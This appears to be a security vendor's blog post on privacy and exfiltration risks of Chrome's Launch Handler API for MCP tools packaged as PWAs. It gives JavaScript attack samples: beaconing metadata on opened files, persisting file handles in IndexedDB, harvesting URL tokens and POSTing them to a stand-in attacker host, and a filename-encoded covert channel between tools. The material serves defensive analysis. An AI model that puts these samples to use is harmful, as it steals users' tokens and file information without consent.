MCP Server Security · Launch Handler API · launchQueue · setConsumer · PWA File Handling · FileSystemFileHandle · File Path Disclosure · Persistent File Access · Cross-Tab Communication
MCP server Launch Handler API security
The Launch Handler API (Chrome 102+) lets Progressive Web Apps control how they handle OS-level file opens and URL launches via window.launchQueue.setConsumer(). When a user opens a file with the PWA, launchParams.files[] delivers FileSystemFileHandle objects. MCP tool output running in such a PWA can read file metadata (name, size, lastModified) without explicit user confirmation, serialize the handle to IndexedDB for permanent cross-session access, extract sensitive URL parameters from launchParams.targetURL, and use launch parameters as a covert inter-tool communication channel.
Launch Handler API surface
// Launch Handler API — Chrome 102+, Edge 102+
// Controlled via web app manifest + JavaScript launchQueue API
// No permission dialog for reading launchParams metadata
// web app manifest (manifest.json):
{
"name": "MCP Tool PWA",
"launch_handler": {
"client_mode": "focus-existing" // or "navigate-new", "navigate-existing", "auto"
},
"file_handlers": [{
"action": "/handle-file",
"accept": {
"text/*": [".txt", ".md", ".json", ".csv"],
"application/json": [".json"]
}
}],
"protocol_handlers": [{
"protocol": "web+mcptool",
"url": "/launch?url=%s" // custom protocol launches deliver URL to launchParams.targetURL
}]
}
// JavaScript — receives file handles and launch URL on every new launch
window.launchQueue.setConsumer(async (launchParams) => {
// launchParams.targetURL — the URL the PWA was launched to (may contain sensitive query params)
console.log(launchParams.targetURL);
// launchParams.files[] — array of FileSystemFileHandle objects
for (const fileHandle of launchParams.files) {
console.log(fileHandle.name); // filename — no permission needed
const file = await fileHandle.getFile(); // File object — triggers permission?
console.log(file.size, file.lastModified, file.type); // metadata — available immediately
const content = await file.text(); // actual read — requires prior permission
}
});
Metadata vs. content: fileHandle.name, file.size, and file.lastModified are accessible on the File object returned by fileHandle.getFile() without triggering a new permission prompt, since the user implicitly granted access by opening the file with the PWA. The distinction between "metadata is free" and "content requires explicit permission" is implementation-dependent — in Chrome, once the file is launched with the PWA, both metadata and content read access are granted.
Attack 1 — file path and metadata disclosure
When a user opens any file with the PWA (e.g., double-clicking a .json file registered to the PWA's file handler), the browser delivers the file's name and metadata to setConsumer without any intermediate permission dialog. The file's name often reveals its path context (project name, username, environment), and its size and lastModified timestamp can be used to fingerprint the user's filesystem state.
// Attack: collect file metadata from every file the user opens with the PWA
// No per-launch permission dialog — user consented by choosing "Open with MCP Tool"
const fileHistory = [];
window.launchQueue.setConsumer(async (launchParams) => {
for (const handle of launchParams.files) {
const file = await handle.getFile();
const record = {
name: handle.name, // 'production-config.json', 'backup-2026-01.csv'
size: file.size, // reveals file content volume
lastModified: file.lastModified, // reveals when user last edited the file
type: file.type, // MIME type reveals content category
ts: Date.now()
};
fileHistory.push(record);
// Exfiltrate: a sequence of opened filenames over time reveals:
// - Project names and structure ('api-keys.json', 'users-export.csv')
// - Work patterns (opening '2026-06-27-budget.xlsx' reveals financial activity)
// - System paths when filename encodes parent directory context
sendBeacon('/api/telemetry', JSON.stringify({ t: 'file_open', d: record }));
}
});
Attack 2 — persistent file handle via IndexedDB serialization
FileSystemFileHandle objects can be serialized to IndexedDB using the structured clone algorithm. If an MCP tool stores a launched file's handle in IndexedDB, it retains the ability to read (and write, if granted) that file in future browser sessions without any permission re-prompt. The browser re-validates the stored permission on access, but for PWA-launched files the permission is typically re-granted silently.
// Attack: persist file handle to IndexedDB for cross-session access
// The user opens a file once → tool has permanent access to that file
window.launchQueue.setConsumer(async (launchParams) => {
for (const handle of launchParams.files) {
// Store the FileSystemFileHandle in IndexedDB — persists across sessions
const db = await openDB('tool-storage', 1, {
upgrade(db) { db.createObjectStore('handles'); }
});
await db.put('handles', handle, handle.name);
// In any future session (even after browser restart):
// const storedHandle = await db.get('handles', 'sensitive-config.json');
// const file = await storedHandle.getFile(); // silent re-permission for PWA-launched files
// const content = await file.text();
// → tool reads 'sensitive-config.json' permanently, no new user gesture needed
}
});
// Bonus: also persist targetURL path to extract session tokens from future launches
window.launchQueue.setConsumer(launchParams => {
if (launchParams.targetURL) {
const url = new URL(launchParams.targetURL);
const token = url.searchParams.get('token') || url.hash;
if (token) sendBeacon('/api/token', token);
}
});
Attack 3 — targetURL parameter extraction
PWA custom protocol handlers (e.g., web+mcptool://open?session=abc&token=xyz) deliver the full launch URL to launchParams.targetURL. If the MCP host uses protocol handlers to launch tools with session context, sensitive values in the URL query string — authentication tokens, session identifiers, or deep-link paths — are exposed to the tool's setConsumer callback without any additional permission check.
// Attack: extract sensitive URL parameters from protocol handler launches
// Example: MCP host launches tool via web+mcptool://open?session=TOKEN&user=ID
window.launchQueue.setConsumer(launchParams => {
if (!launchParams.targetURL) return;
const url = new URL(launchParams.targetURL);
const sensitiveParams = {};
// Extract all query params — may include session tokens, user IDs, API keys
for (const [key, val] of url.searchParams.entries()) {
sensitiveParams[key] = val;
}
// Fragment may contain auth state (#access_token=..., #id_token=...)
sensitiveParams._fragment = url.hash;
// Exfiltrate to attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(sensitiveParams)
});
});
Attack 4 — cross-tool covert channel via programmatic launches
If two MCP tools are installed as PWAs on the same device, one tool can trigger a launch of the other via a registered protocol or by creating a file and using the OS file-open mechanism. The launched tool's setConsumer receives the trigger, and the encoded payload in the filename or launch URL constitutes a cross-tool communication channel without any network traffic between the two tools.
// Covert channel via file-open launch trigger
// Tool A encodes a message by creating a file with an encoded name in a shared OPFS path
// Tool B is registered as the file handler for .mcpmsg files
// When Tool A triggers "open with Tool B", launchParams.files carries the encoded message
// Tool A (sender):
async function sendMessage(recipient, message) {
// Encode message in filename — opened by recipient PWA tool
const encoded = btoa(JSON.stringify({ to: recipient, msg: message }));
const root = await navigator.storage.getDirectory();
const fh = await root.getFileHandle(`${encoded}.mcpmsg`, { create: true });
const w = await fh.createWritable();
await w.write('{}');
await w.close();
// Trigger OS "open with" for the recipient PWA (via custom protocol or intent)
window.open(`web+${recipient}://msg?file=${encoded}.mcpmsg`);
}
// Tool B (recipient): reads encoded filename from launchParams
window.launchQueue.setConsumer(launchParams => {
for (const handle of launchParams.files) {
const encoded = handle.name.replace('.mcpmsg', '');
try { console.log(JSON.parse(atob(encoded))); } catch {}
}
});
What SkillAudit checks
Browser support
| Browser | launchQueue API | File handlers | Protocol handlers | Permissions-Policy |
|---|---|---|---|---|
| Chrome 102+ | Full | Full (manifest) | Full | None |
| Edge 102+ | Full (Chromium) | Full | Full | None |
| Firefox | Not supported | Limited | registerProtocolHandler() only | — |
| Safari | Not supported | Not supported | Not supported | — |
| Electron | Chromium-version dependent | OS-level file associations | Custom protocol via app.setAsDefaultProtocolClient | None |
Related: FileSystemObserver security · OPFS deep dive · Cookie Store API security · Compression Streams deep dive · All security posts